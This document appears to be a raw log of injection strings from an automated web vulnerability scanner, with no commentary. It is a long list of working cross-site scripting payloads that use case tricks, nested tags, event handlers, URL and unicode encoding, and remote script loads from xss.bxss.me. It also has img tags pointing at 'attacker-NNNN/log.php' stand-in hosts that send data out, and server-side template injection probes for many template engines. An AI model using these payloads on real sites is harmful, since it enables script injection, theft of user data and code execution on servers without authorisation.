555<ScRiPt >CTU8(9194)</ScRiPt>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9615></ScRiPt>

555<script>Q2tS(9033)</script>

555<script>HQfr(9384)</script>

555<svg  \xa0onload=CTU8(9827)

555

<%={{={@{#{${dfb}}%>

"}dfb#{98991*97996}xca

555<isindex type=image src=1 onerror=3j72(9746)>

<%={{={@{#{${dfb}}%>

555<ScRiPt >73D3(9539)</ScRiPt>

555<isindex type=image src=1 onerror=CTU8(9305)>

"}dfb{#98991*97996}xca

"}}dfb{{98991*97996}}xca

555

dfb{{{this}}}xca

555<script>HQfr(9899)</script>9899

555<iframe src='data:text/html

555<iframe src='data:text/html

555<svg  \xa0onload=73D3(9879)

<th:t="${dfb}#foreach

555<script>Q2tS(9741)</script>9741

555<ScR<ScRiPt>IpT>HQfr(9555)</sCr<ScRiPt>IpT>

555

555<body onload=CTU8(9495)>

"}dfb{@98991*97996}xca

555

555<isindex type=image src=1 onerror=73D3(9526)>

"%}dfb{{98991*97996}}xca

#{98991*97996*98991*97996}

555<ScR<ScRiPt>IpT>Q2tS(9572)</sCr<ScRiPt>IpT>

555<body onload=3j72(9307)>

<th:t="${dfb}#foreach

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=CTU8(9981)>

555<ScRiPt >Q2tS(9264)</ScRiPt>

dfb#{xca}=123

555<img src=//xss.bxss.me/t/dot.gif onload=3j72(9650)>

555<ScRiPt >HQfr(9297)</ScRiPt>

"}}dfb{{=98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"}dfb{98991*97996}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9326></ScRiPt>

555<img src=xyz OnErRor=3j72(9330)>

dfb{{'abcd'.toUpperCase()}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9066></ScRiPt>

555<body onload=73D3(9816)>

555

555<img src=xyz OnErRor=CTU8(9428)>

555

"}dfb${98991*97996}xca

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ScRiPt >HQfr(9325)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=73D3(9994)>

555<ScRiPt >Q2tS(9015)</ScRiPt>

555<img/src=">" onerror=alert(9605)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9780)>

dfb{{98991*97996}}xca

")dfb@(98991*97996)xca

dfb{{98991*97996}}xca

555<img src=xyz OnErRor=73D3(9384)>

555<svg  \xa0onload=HQfr(9187)

"}dfb#{98991*97996}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%33%6A%37%32%289952%29%3C%2F%73%43%72%69%70%54%3E

dfb[[${98991*97996}]]xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%43%54%55%38%289717%29%3C%2F%73%43%72%69%70%54%3E

555<img/src=">" onerror=alert(9911)>

dfb[[${98991*97996}]]xca

555\u003CScRiPt\3j72(9842)\u003C/sCripT\u003E

555<svg  \xa0onload=Q2tS(9759)

555

555\u003CScRiPt\CTU8(9681)\u003C/sCripT\u003E

"}dfb{#98991*97996}xca

"%>dfb<%=98991*97996%>xca

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

"}dfb{@98991*97996}xca

555<isindex type=image src=1 onerror=Q2tS(9711)>

555&lt

555&lt

555<isindex type=image src=1 onerror=HQfr(9318)>

555<iframe src='data:text/html

dfb{{98991*97996}}xca

555<iframe src='data:text/html

"}dfb#set($x=98991*97996)${x}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%33%44%33%289149%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

\xf6<img zzz onmouseover=3j72(96881) //\xf6>

dfb[[${98991*97996}]]xca

555<body onload=Q2tS(9971)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"}}dfb{{=98991*97996}}xca

555\u003CScRiPt\73D3(9187)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=CTU8(99881) //\xf6>

"}dfb{{"abc"|title}}xca

555<ScRiPt >XcXJ(9367)</ScRiPt>

555<body onload=HQfr(9154)>

555&lt

555<ScRiPt >3JO5(9210)</ScRiPt>

555<input autofocus onfocus=CTU8(9021)>

dfb__${98991*97996}__::.x

555<input autofocus onfocus=3j72(9164)>

"print("dfb" . 98991*97996 . "xca")

555<WGZUJU>D0TOS[!+!]</WGZUJU>

555<img src=//xss.bxss.me/t/dot.gif onload=Q2tS(9308)>

555<img src=//xss.bxss.me/t/dot.gif onload=HQfr(9191)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

555<WSHKKC>PGDV4[!+!]</WSHKKC>

")dfb@(98991*97996)xca

555<script>XcXJ(9814)</script>

555<img src=xyz OnErRor=HQfr(9078)>

<a HrEF=http://xss.bxss.me></a>

555<script>3JO5(9433)</script>

555<ScRiPt >SCrt(9357)</ScRiPt>

"%>dfb<%=98991*97996%>xca

555<img/src=">" onerror=alert(9446)>

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=73D3(99241) //\xf6>

555<script>XcXJ(9671)</script>9671

<a HrEF=jaVaScRiPT:>

555<img src=xyz OnErRor=Q2tS(9501)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%48%51%66%72%289627%29%3C%2F%73%43%72%69%70%54%3E

"98991*97996*98991*97996

555}body{zzz:Expre/**/SSion(CTU8(9452))}

555<WLN6FW>OV2QM[!+!]</WLN6FW>

555}body{zzz:Expre/**/SSion(3j72(9274))}

"}dfb#set($x=98991*97996)${x}xca

555<script>3JO5(9147)</script>9147

555<ScR<ScRiPt>IpT>XcXJ(9623)</sCr<ScRiPt>IpT>

555<img/src=">" onerror=alert(9537)>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<script>SCrt(9836)</script>

555<input autofocus onfocus=73D3(9804)>

5556KdHb <ScRiPt >3j72(9583)</ScRiPt>

555oMilo <ScRiPt >CTU8(9388)</ScRiPt>

"}dfb{{"abc"|title}}xca

555\u003CScRiPt\HQfr(9103)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%51%32%74%53%289436%29%3C%2F%73%43%72%69%70%54%3E

"}}}dfb{{{this}}}xca

555<WLNSGB>07P2X[!+!]</WLNSGB>

555<ScRiPt >XcXJ(9198)</ScRiPt>

555<ScR<ScRiPt>IpT>3JO5(9843)</sCr<ScRiPt>IpT>

555<script>SCrt(9360)</script>9360

<a HrEF=http://xss.bxss.me></a>

"print("dfb" . 98991*97996 . "xca")

555\u003CScRiPt\Q2tS(9998)\u003C/sCripT\u003E

"}#{98991*97996*98991*97996}

555&lt

555<ifRAme sRc=9563.com></IfRamE>

555<WZ5J7M>7VMF2[!+!]</WZ5J7M>

"98991*97996*98991*97996

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9630></ScRiPt>

555<ScR<ScRiPt>IpT>SCrt(9029)</sCr<ScRiPt>IpT>

555<ScRiPt >3JO5(9736)</ScRiPt>

"}dfb#{xca}=123

555&lt

<a HrEF=jaVaScRiPT:>

555<ScRiPt >XcXJ(9876)</ScRiPt>

\xf6<img zzz onmouseover=HQfr(96621) //\xf6>

"}}dfb{{'abcd'.toUpperCase()}}xca

555<ifRAme sRc=9454.com></IfRamE>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555}body{zzz:Expre/**/SSion(73D3(9058))}

555<svg  \xa0onload=XcXJ(9861)

555<aayplU2 x=9613>

\xf6<img zzz onmouseover=Q2tS(91331) //\xf6>

555<aJdyTh1 x=9711>

555<ScRiPt >SCrt(9033)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9195></ScRiPt>

555<isindex type=image src=1 onerror=XcXJ(9663)>

555<input autofocus onfocus=HQfr(9101)>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

"}}}dfb{{{this}}}xca

555<input autofocus onfocus=Q2tS(9522)>

555<img sRc='http://attacker-9132/log.php?

555<img sRc='http://attacker-9466/log.php?

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9215></ScRiPt>

555<ScRiPt >3JO5(9574)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

5556yICx <ScRiPt >73D3(9926)</ScRiPt>

"}}dfb{{98991*97996}}xca

"}#{98991*97996*98991*97996}

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >SCrt(9455)</ScRiPt>

555<aOs25fA<

555<iframe src='data:text/html

555<WYRYGR>W4WSX[!+!]</WYRYGR>

"}dfb[[${98991*97996}]]xca

555<aEDZzBd<

555<svg  \xa0onload=SCrt(9715)

555<body onload=XcXJ(9992)>

"dfb__${98991*97996}__::.x

555<ifRAme sRc=9411.com></IfRamE>

"}dfb#{xca}=123

<a HrEF=jaVaScRiPT:>

555<svg  \xa0onload=3JO5(9506)

555<img src=//xss.bxss.me/t/dot.gif onload=XcXJ(9330)>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=jaVaScRiPT:>

555<isindex type=image src=1 onerror=3JO5(9428)>

555<isindex type=image src=1 onerror=SCrt(9268)>

555<img src=xyz OnErRor=XcXJ(9524)>

555}body{zzz:Expre/**/SSion(HQfr(9410))}

"}}dfb{{'abcd'.toUpperCase()}}xca

555}body{zzz:Expre/**/SSion(Q2tS(9724))}

555<iframe src='data:text/html

555<aHdB1Ys x=9048>

'}}dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9445)>

555b9nsI <ScRiPt >HQfr(9315)</ScRiPt>

555rrpN6 <ScRiPt >Q2tS(9830)</ScRiPt>

555<img sRc='http://attacker-9473/log.php?

555<WLDN8W>HZ0O4[!+!]</WLDN8W>

555<body onload=3JO5(9519)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%58%63%58%4A%289779%29%3C%2F%73%43%72%69%70%54%3E

555<WCLDR7>QI1ZZ[!+!]</WCLDR7>

555<iframe src='data:text/html

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ifRAme sRc=9655.com></IfRamE>

555<a5bS0kj<

"}}dfb{{98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=3JO5(9935)>

555<aou44rO x=9914>

555<body onload=SCrt(9341)>

555\u003CScRiPt\XcXJ(9494)\u003C/sCripT\u003E

'%}dfb{{98991*97996}}xca

555<ifRAme sRc=9519.com></IfRamE>

555&lt

"}dfb[[${98991*97996}]]xca

'}dfb{98991*97996}xca

555<axOq8b4 x=9361>

\xf6<img zzz onmouseover=XcXJ(93621) //\xf6>

555<img src=//xss.bxss.me/t/dot.gif onload=SCrt(9686)>

555<img src=xyz OnErRor=3JO5(9434)>

"dfb__${98991*97996}__::.x

555<img/src=">" onerror=alert(9384)>

555<input autofocus onfocus=XcXJ(9909)>

555<img sRc='http://attacker-9427/log.php?

555<img src=xyz OnErRor=SCrt(9440)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%33%4A%4F%35%289709%29%3C%2F%73%43%72%69%70%54%3E

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

'}dfb${98991*97996}xca

'}}dfb{{98991*97996}}xca

555<img sRc='http://attacker-9258/log.php?

555\u003CScRiPt\3JO5(9769)\u003C/sCripT\u003E

555<alZVfg2<

'}dfb#{98991*97996}xca

555<ailV7Ug<

'%}dfb{{98991*97996}}xca

'}dfb{#98991*97996}xca

555<img/src=">" onerror=alert(9868)>

<a HrEF=jaVaScRiPT:>

555&lt

'}dfb{@98991*97996}xca

'}dfb{98991*97996}xca

555}body{zzz:Expre/**/SSion(XcXJ(9000))}

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%43%72%74%289668%29%3C%2F%73%43%72%69%70%54%3E

\xf6<img zzz onmouseover=3JO5(91521) //\xf6>

'}}dfb{{=98991*97996}}xca

5558r9rD <ScRiPt >XcXJ(9417)</ScRiPt>

'}dfb${98991*97996}xca

')dfb@(98991*97996)xca

555<input autofocus onfocus=3JO5(9528)>

555\u003CScRiPt\SCrt(9447)\u003C/sCripT\u003E

555<WMIGCI>TRPVW[!+!]</WMIGCI>

<a HrEF=http://xss.bxss.me></a>

'}dfb#{98991*97996}xca

555&lt

'%>dfb<%=98991*97996%>xca

<a HrEF=jaVaScRiPT:>

'}dfb#set($x=98991*97996)${x}xca

555}body{zzz:Expre/**/SSion(3JO5(9498))}

555<ifRAme sRc=9546.com></IfRamE>

'}dfb{#98991*97996}xca

555<arO0nAb x=9308>

'}dfb{@98991*97996}xca

'}dfb{{"abc"|title}}xca

\xf6<img zzz onmouseover=SCrt(92831) //\xf6>

555<img sRc='http://attacker-9369/log.php?

'print("dfb" . 98991*97996 . "xca")

'}}dfb{{=98991*97996}}xca

555UKW4p <ScRiPt >3JO5(9563)</ScRiPt>

555<input autofocus onfocus=SCrt(9329)>

'98991*97996*98991*97996

555<a7UHh0h<

')dfb@(98991*97996)xca

<a HrEF=http://xss.bxss.me></a>

555<WJYGBJ>V2QZX[!+!]</WJYGBJ>

'%>dfb<%=98991*97996%>xca

<a HrEF=jaVaScRiPT:>

555<ifRAme sRc=9837.com></IfRamE>

555}body{zzz:Expre/**/SSion(SCrt(9661))}

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555cieln <ScRiPt >SCrt(9061)</ScRiPt>

'}dfb#set($x=98991*97996)${x}xca

555<alshygE x=9318>

'}dfb{{"abc"|title}}xca

555<img sRc='http://attacker-9888/log.php?

'}}}dfb{{{this}}}xca

555<W7K9BO>FN7TZ[!+!]</W7K9BO>

'}#{98991*97996*98991*97996}

'print("dfb" . 98991*97996 . "xca")

555<amlhEyC<

'}dfb#{xca}=123

555<ifRAme sRc=9420.com></IfRamE>

555<aNiXe0E x=9122>

'98991*97996*98991*97996

'}}dfb{{'abcd'.toUpperCase()}}xca

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img sRc='http://attacker-9371/log.php?

'}}}dfb{{{this}}}xca

'}}dfb{{98991*97996}}xca

555<auOfbdc<

'}#{98991*97996*98991*97996}

'}dfb[[${98991*97996}]]xca

'}dfb#{xca}=123

'dfb__${98991*97996}__::.x

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}dfb{{98991*97996}}xca

1%}dfb{{98991*97996}}xca

'}}dfb{{'abcd'.toUpperCase()}}xca

555'"()&%<zzz><ScRiPt >sFIR(9552)</ScRiPt>

1}dfb{98991*97996}xca

555'"()&%<zzz><ScRiPt >fCkz(9461)</ScRiPt>

'"()&%<zzz><ScRiPt >fCkz(9749)</ScRiPt>

555'"()&%<zzz><ScRiPt >2mcN(9800)</ScRiPt>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

'"()&%<zzz><ScRiPt >sFIR(9545)</ScRiPt>

5559632006

1}dfb${98991*97996}xca

'}}dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >u2iY(9852)</ScRiPt>

'"()&%<zzz><ScRiPt >2mcN(9773)</ScRiPt>

5559812052

5559283895

'}dfb[[${98991*97996}]]xca

bfg1192\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1192

1}dfb#{98991*97996}xca

'"()&%<zzz><ScRiPt >u2iY(9510)</ScRiPt>

bfg1202\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1202

1}dfb{#98991*97996}xca

bfg4987\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4987

bfgx4387\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4387

5559502343

1}dfb{@98991*97996}xca

bfgx7316\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7316

bfg10702\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10702

'dfb__${98991*97996}__::.x

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

1}}dfb{{=98991*97996}}xca

bfgx8689\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8689

555

555

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfgx1218\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1218

1)dfb@(98991*97996)xca

555'"()&%<zzz><ScRiPt >WPs4(9879)</ScRiPt>

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1%>dfb<%=98991*97996%>xca

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555

555

1}dfb#set($x=98991*97996)${x}xca

555

555'"()&%<zzz><ScRiPt >NYGr(9441)</ScRiPt>

1}dfb{{"abc"|title}}xca

dfb{{98991*97996}}xca

'"()&%<zzz><ScRiPt >WPs4(9065)</ScRiPt>

1}}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555

'"()&%<zzz><ScRiPt >NYGr(9598)</ScRiPt>

dfb{{98991*97996}}xca

5559083479

1print("dfb" . 98991*97996 . "xca")

1%}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >fAyE(9546)</ScRiPt>

bfg7741\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7741

198991*97996*98991*97996

dfb{98991*97996}xca

dfb{{98991*97996}}xca

1}dfb{98991*97996}xca

555

5559484006

dfb{98991*97996}xca

dfb{{98991*97996}}xca

dfb${98991*97996}xca

bfgx10637\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10637

dfb[[${98991*97996}]]xca

'"()&%<zzz><ScRiPt >fAyE(9157)</ScRiPt>

555'"()&%<zzz><ScRiPt >H7pn(9594)</ScRiPt>

dfb${98991*97996}xca

dfb{98991*97996}xca

dfb#{98991*97996}xca

1}dfb${98991*97996}xca

bfg9521\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9521

dfb${98991*97996}xca

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb#{98991*97996}xca

<%={{={@{#{${dfb}}%>

bfgx5709\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5709

dfb__${98991*97996}__::.x

1}dfb#{98991*97996}xca

5559423164

'"()&%<zzz><ScRiPt >H7pn(9171)</ScRiPt>

1}}}dfb{{{this}}}xca

dfb{#98991*97996}xca

dfb{#98991*97996}xca

5559651927

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb#{98991*97996}xca

dfb{@98991*97996}xca

555<ScRiPt >2mcN(9874)</ScRiPt>

1}#{98991*97996*98991*97996}

dfb{@98991*97996}xca

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555<W3EHEP>RXQT6[!+!]</W3EHEP>

dfb{#98991*97996}xca

dfb{{=98991*97996}}xca

1}dfb#{xca}=123

bfg5528\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5528

1}dfb{#98991*97996}xca

bfg9690\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9690

555

dfb{@98991*97996}xca

dfb@(98991*97996)xca

dfb{{=98991*97996}}xca

bfgx10897\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10897

bfgx1771\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1771

555<script>2mcN(9083)</script>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb@(98991*97996)xca

555

dfb{{=98991*97996}}xca

dfb<%=98991*97996%>xca

dfb<%=98991*97996%>xca

<%={{={@{#{${dfb}}%>

1}dfb{@98991*97996}xca

1}}dfb{{'abcd'.toUpperCase()}}xca

555<script>2mcN(9635)</script>9635

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb#set($x=98991*97996)${x}xca

555

1}}dfb{{=98991*97996}}xca

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

555

dfb{{"abc"|title}}xca

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>2mcN(9641)</sCr<ScRiPt>IpT>

dfb@(98991*97996)xca

dfb__${98991*97996}__::.x

dfb#set($x=98991*97996)${x}xca

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

print("dfb" . 98991*97996 . "xca")

1)dfb@(98991*97996)xca

dfb{98991*97996}xca

dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >2mcN(9812)</ScRiPt>

dfb{{"abc"|title}}xca

dfb<%=98991*97996%>xca

dfb{98991*97996}xca

98991*97996*98991*97996

1}}dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9558></ScRiPt>

dfb${98991*97996}xca

dfb#set($x=98991*97996)${x}xca

1%>dfb<%=98991*97996%>xca

dfb{{98991*97996}}xca

dfb${98991*97996}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >2mcN(9586)</ScRiPt>

dfb#{98991*97996}xca

dfb{{"abc"|title}}xca

print("dfb" . 98991*97996 . "xca")

555<ScRiPt >WPs4(9431)</ScRiPt>

dfb#{98991*97996}xca

555<svg  \xa0onload=2mcN(9546)

dfb{{{this}}}xca

1}dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

1}dfb#set($x=98991*97996)${x}xca

print("dfb" . 98991*97996 . "xca")

dfb{#98991*97996}xca

555<WKMAJU>QESIE[!+!]</WKMAJU>

98991*97996*98991*97996

1dfb__${98991*97996}__::.x

98991*97996*98991*97996

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>WPs4(9149)</script>

dfb{@98991*97996}xca

1}dfb{{"abc"|title}}xca

dfb{98991*97996}xca

dfb{#98991*97996}xca

555<isindex type=image src=1 onerror=2mcN(9228)>

dfb{@math key=98991 method="multiply" operand=97996/}xca

#{98991*97996*98991*97996}

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >tsex(9998)</ScRiPt>

dfb{{=98991*97996}}xca

555<iframe src='data:text/html

dfb${98991*97996}xca

1print("dfb" . 98991*97996 . "xca")

dfb{{{this}}}xca

dfb{{{this}}}xca

dfb{@98991*97996}xca

555<script>WPs4(9751)</script>9751

555<body onload=2mcN(9087)>

#{98991*97996*98991*97996}

dfb#{xca}=123

dfb@(98991*97996)xca

#{98991*97996*98991*97996}

198991*97996*98991*97996

555<WKXSWU>UQATN[!+!]</WKXSWU>

dfb{{=98991*97996}}xca

dfb#{xca}=123

dfb#{98991*97996}xca

555<ScR<ScRiPt>IpT>WPs4(9529)</sCr<ScRiPt>IpT>

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >WPs4(9462)</ScRiPt>

dfb#{xca}=123

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9198></ScRiPt>

dfb{{'abcd'.toUpperCase()}}xca

dfb@(98991*97996)xca

555<script>tsex(9630)</script>

dfb{#98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=2mcN(9940)>

dfb{{'abcd'.toUpperCase()}}xca

dfb<%=98991*97996%>xca

dfb{{'abcd'.toUpperCase()}}xca

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img src=xyz OnErRor=2mcN(9140)>

1}}}dfb{{{this}}}xca

dfb#set($x=98991*97996)${x}xca

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<script>tsex(9062)</script>9062

dfb<%=98991*97996%>xca

555<ScRiPt >WPs4(9329)</ScRiPt>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

1}#{98991*97996*98991*97996}

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9183)>

dfb{{"abc"|title}}xca

dfb{{98991*97996}}xca

dfb#set($x=98991*97996)${x}xca

dfb{@98991*97996}xca

dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>tsex(9388)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=WPs4(9092)

1}dfb#{xca}=123

555<ScRiPt >tsex(9140)</ScRiPt>

555<isindex type=image src=1 onerror=WPs4(9886)>

dfb[[${98991*97996}]]xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%32%6D%63%4E%289604%29%3C%2F%73%43%72%69%70%54%3E

1}}dfb{{'abcd'.toUpperCase()}}xca

dfb[[${98991*97996}]]xca

print("dfb" . 98991*97996 . "xca")

dfb{{"abc"|title}}xca

dfb{{=98991*97996}}xca

dfb[[${98991*97996}]]xca

555\u003CScRiPt\2mcN(9987)\u003C/sCripT\u003E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9088></ScRiPt>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb__${98991*97996}__::.x

dfb@(98991*97996)xca

98991*97996*98991*97996

555<iframe src='data:text/html

dfb__${98991*97996}__::.x

print("dfb" . 98991*97996 . "xca")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}dfb{{98991*97996}}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb<%=98991*97996%>xca

555&lt

98991*97996*98991*97996

555<ScRiPt >sFIR(9441)</ScRiPt>

dfb__${98991*97996}__::.x

dfb{{{this}}}xca